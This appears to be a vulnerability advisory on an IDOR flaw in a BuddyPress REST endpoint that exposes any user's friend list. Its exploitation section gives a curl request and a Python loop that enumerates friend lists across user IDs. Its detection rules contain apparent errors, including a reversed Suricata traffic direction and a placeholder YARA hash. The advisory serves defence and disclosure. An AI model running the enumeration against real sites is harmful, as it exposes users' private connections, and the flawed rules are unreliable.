CVE-2026-53675

Executive Summary

CVE-2026-53675 is an Insecure Direct Object Reference (IDOR) vulnerability in the BuddyPress WordPress plugin, version 14.4.0. The flaw resides in the friends REST API endpoint. The get_items_permissions_check method only verifies that the requester is authenticated (logged in) but fails to validate that the requested user_id belongs to the requester. This allows any authenticated attacker to enumerate the complete friend list of any other user on the site, including private or hidden connections.

This vulnerability is classified as WordPress ecosystem issue, specifically within the BuddyPress plugin. It does not affect the underlying web server (Apache/Nginx). The attack is low-complexity, requires no special privileges beyond a standard user account, and can be executed remotely over the network. The primary impact is a confidentiality breach of user social graph data.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is moderate: if the plugin is not updated (patch status unknown), any site running BuddyPress 14.4.0 is exposed. Attackers can leverage this to map social connections for social engineering, phishing, or targeted attacks. There is no known malicious package injection, but the lack of a patch increases the window of exposure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authentication
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – disclosure of friend lists
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the real-world impact can be higher due to the sensitivity of social graph data. Attackers can use this to identify relationships, target high-value users, or perform reconnaissance for further attacks.

Deep Dive & Mechanics

The vulnerability is in the BuddyPress REST API endpoint for friends, typically located at /wp-json/buddypress/v1/friends. The endpoint accepts a user_id parameter to retrieve the friend list of a specific user.

Root Cause: The get_items_permissions_check method in the REST API controller only checks if the requester is logged in (is_user_logged_in()). It does not verify that the requested user_id matches the current user's ID. This means any authenticated user can supply an arbitrary user_id and retrieve that user's friend list.

Attack Flow:

1. Attacker authenticates to the WordPress site (e.g., via a standard subscriber account).
2. Attacker sends a GET request to /wp-json/buddypress/v1/friends?user_id=<target_user_id>.
3. The server returns the complete friend list of the target user, including private connections.
4. Attacker can iterate over user IDs to map the entire social graph.

Impact: Disclosure of private social connections. This can be used for:

• Social engineering attacks (e.g., impersonating a friend).
• Targeted phishing campaigns.
• Identifying relationships for blackmail or coercion.
• Competitive intelligence gathering.

Vulnerable vs. Patched Code

Vulnerable Code (BuddyPress 14.4.0):

// In BP_REST_Friends_Endpoint class
public function get_items_permissions_check( $request ) {
    // Only checks if user is logged in
    if ( ! is_user_logged_in() ) {
        return new WP_Error( 'bp_rest_authorization_required',
            __( 'Sorry, you are not allowed to see friends.', 'buddypress' ),
            array( 'status' => rest_authorization_required_code() )
        );
    }
    return true;
}

Patched Code (Expected fix):

public function get_items_permissions_check( $request ) {
    if ( ! is_user_logged_in() ) {
        return new WP_Error( 'bp_rest_authorization_required',
            __( 'Sorry, you are not allowed to see friends.', 'buddypress' ),
            array( 'status' => rest_authorization_required_code() )
        );
    }
    // Verify the requested user_id belongs to the current user
    $user_id = $request->get_param( 'user_id' );
    if ( $user_id && (int) $user_id !== get_current_user_id() ) {
        return new WP_Error( 'bp_rest_forbidden',
            __( 'Sorry, you are not allowed to view this user\'s friends.', 'buddypress' ),
            array( 'status' => 403 )
        );
    }
    return true;
}

Key Difference: The patched version adds an ownership check: if a user_id parameter is provided, it must match the current user's ID. Otherwise, access is denied.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with BuddyPress 14.4.0 installed and active.
• An authenticated user account (e.g., subscriber).

Exploit Steps:

1. Obtain a valid session cookie or nonce for an authenticated user.
2. Send a GET request to the friends endpoint with a target user ID.

Example cURL command:

curl -X GET "https://target-site.com/wp-json/buddypress/v1/friends?user_id=2" \
  -H "Cookie: wordpress_logged_in_<hash>=<session_cookie>"

Expected Response:

{
  "data": [
    {
      "id": 5,
      "name": "John Doe",
      "user_login": "johndoe",
      ...
    },
    {
      "id": 8,
      "name": "Jane Smith",
      "user_login": "janesmith",
      ...
    }
  ]
}

Automation Script (Python):

import requests

target_url = "https://target-site.com/wp-json/buddypress/v1/friends"
cookies = {"wordpress_logged_in_<hash>": "<session_cookie>"}

for user_id in range(1, 100):
    response = requests.get(target_url, params={"user_id": user_id}, cookies=cookies)
    if response.status_code == 200 and "data" in response.json():
        print(f"User {user_id} friends: {response.json()['data']}")

Blue Team (Detection & Hardening)

Detection:

• Monitor REST API logs for requests to /wp-json/buddypress/v1/friends with varying user_id parameters from the same authenticated user.
• Alert on multiple distinct user_id values queried within a short time window (e.g., >5 different IDs in 1 minute).
• Look for anomalous patterns: a low-privilege user (subscriber) querying many friend lists.

Hardening (until patch is available):

1. Disable the friends REST API endpoint via a custom plugin or .htaccess rule:

   RewriteRule ^wp-json/buddypress/v1/friends - [F,L]
   

2. Add a custom permission callback using a WordPress filter:

   add_filter( 'bp_rest_friends_get_items_permissions_check', function( $permission, $request ) {
       $user_id = $request->get_param( 'user_id' );
       if ( $user_id && (int) $user_id !== get_current_user_id() ) {
           return new WP_Error( 'rest_forbidden', 'Access denied', array( 'status' => 403 ) );
       }
       return $permission;
   }, 10, 2 );
   

3. Monitor and rate-limit API requests from authenticated users.

Indicators of Compromise (IOCs)

Network IOCs:

• Repeated GET requests to /wp-json/buddypress/v1/friends?user_id=<integer> from the same IP/session.
• User-Agent strings consistent with automated tools (e.g., python-requests, curl).
• High volume of 200 OK responses to the friends endpoint from a single authenticated user.

Host IOCs:

• WordPress REST API logs showing multiple user_id parameters in a short time.
• Unusual database queries: SELECT * FROM wp_bp_friends WHERE user_id = X for many different X values.
• Presence of custom scripts or plugins that modify the friends endpoint behavior.

Log Examples:

192.168.1.100 - - [01/Apr/2026:12:34:56 +0000] "GET /wp-json/buddypress/v1/friends?user_id=1 HTTP/1.1" 200 1234
192.168.1.100 - - [01/Apr/2026:12:34:57 +0000] "GET /wp-json/buddypress/v1/friends?user_id=2 HTTP/1.1" 200 1234
192.168.1.100 - - [01/Apr/2026:12:34:58 +0000] "GET /wp-json/buddypress/v1/friends?user_id=3 HTTP/1.1" 200 1234

Detection Engineering

YARA Rule

rule CVE_2026_53675_BuddyPress_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2026-53675 in BuddyPress friends REST API"
        author = "Valters IT"
        date = "2026-04-01"
        reference = "CVE-2026-53675"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $api_path = "/wp-json/buddypress/v1/friends" nocase
        $user_id_param = "user_id=" nocase
        $auth_cookie = "wordpress_logged_in_" nocase
    condition:
        $api_path and $user_id_param and #user_id_param > 5
}

Sigma Rule

title: BuddyPress Friends REST API IDOR Enumeration
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple requests to BuddyPress friends endpoint with different user_id parameters from the same authenticated user.
author: Valters IT
date: 2026-04-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-53675
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "/wp-json/buddypress/v1/friends?user_id="
    condition: selection | count(cs-uri-query) by src_ip > 5 within 60 seconds
falsepositives:
    - Legitimate users viewing multiple friend lists (unlikely for low-privilege users)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-53675 - BuddyPress Friends REST API IDOR Enumeration";
    flow:to_server,established;
    content:"/wp-json/buddypress/v1/friends"; http_uri;
    content:"user_id="; http_uri;
    pcre:"/user_id=\d+/";
    threshold: type both, track by_src, count 5, seconds 60;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint using a web application firewall (WAF) rule or .htaccess rewrite.
2. Apply a virtual patch via a WordPress plugin that adds ownership checks (see Blue Team hardening).
3. Monitor for exploitation using the provided detection rules.

Long-term Fix:

• Update BuddyPress to a patched version once available (check official repository).
• Implement proper authorization in all REST API endpoints: always verify that the requested resource belongs to the requesting user.
• Conduct a security audit of all BuddyPress REST API endpoints for similar IDOR vulnerabilities.

Workaround Code (functions.php):

add_filter( 'bp_rest_friends_get_items_permissions_check', function( $permission, $request ) {
    $user_id = $request->get_param( 'user_id' );
    if ( $user_id && (int) $user_id !== get_current_user_id() ) {
        return new WP_Error( 'rest_forbidden', 'Access denied', array( 'status' => 403 ) );
    }
    return $permission;
}, 10, 2 );

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2026-53675